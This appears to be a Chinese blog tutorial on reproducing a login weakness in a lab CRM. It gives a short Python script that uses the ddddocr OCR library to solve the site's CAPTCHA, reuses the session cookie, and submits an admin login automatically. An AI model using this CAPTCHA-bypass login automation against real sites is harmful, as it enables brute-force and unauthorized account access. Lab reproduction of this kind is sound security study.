Python登录漏洞复现

Python登录漏洞复现

3.1 环境准备

1)升级pip

pip install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simple

2)安装ddddocr图形识别库

pip install ddddocr -i https://pypi.tuna.tsinghua.edu.cn/simple

3)安装requests网络请求库

pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple

4)安装辅助命令

pip uninstall -y Pillow
pip install Pillow==9.5.0 -i https://pypi.tuna.tsinghua.edu.cn/simple

3.2 python识别验证码

# 注意:验证码的session需要与登录的session一致,不然不匹配
import ddddocr
import requests

# 1)创建ocr连接对象
ocr = ddddocr.DdddOcr()

# 2)获取图片内容
resp = requests.get("http://192.168.190.133/crm/php/verifyCode.php")
image = resp.content

# 3)获取sessionId
cookie = resp.headers['Set-Cookie'].split(";")[0]

# 4)获取验证码
str = ocr.classification(image)

# 5)发送登录请求时,添加请求头,将PHPSESSID放到请求头中
head={'Cookie':cookie}
url = "http://192.168.190.133/crm/php/login.php?username=admin&password=123456&code="+str
data = {"account":"admin","password":"123456","authcode":str}
resps = requests.post(url,headers=head,data=data)
print(resps.text)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值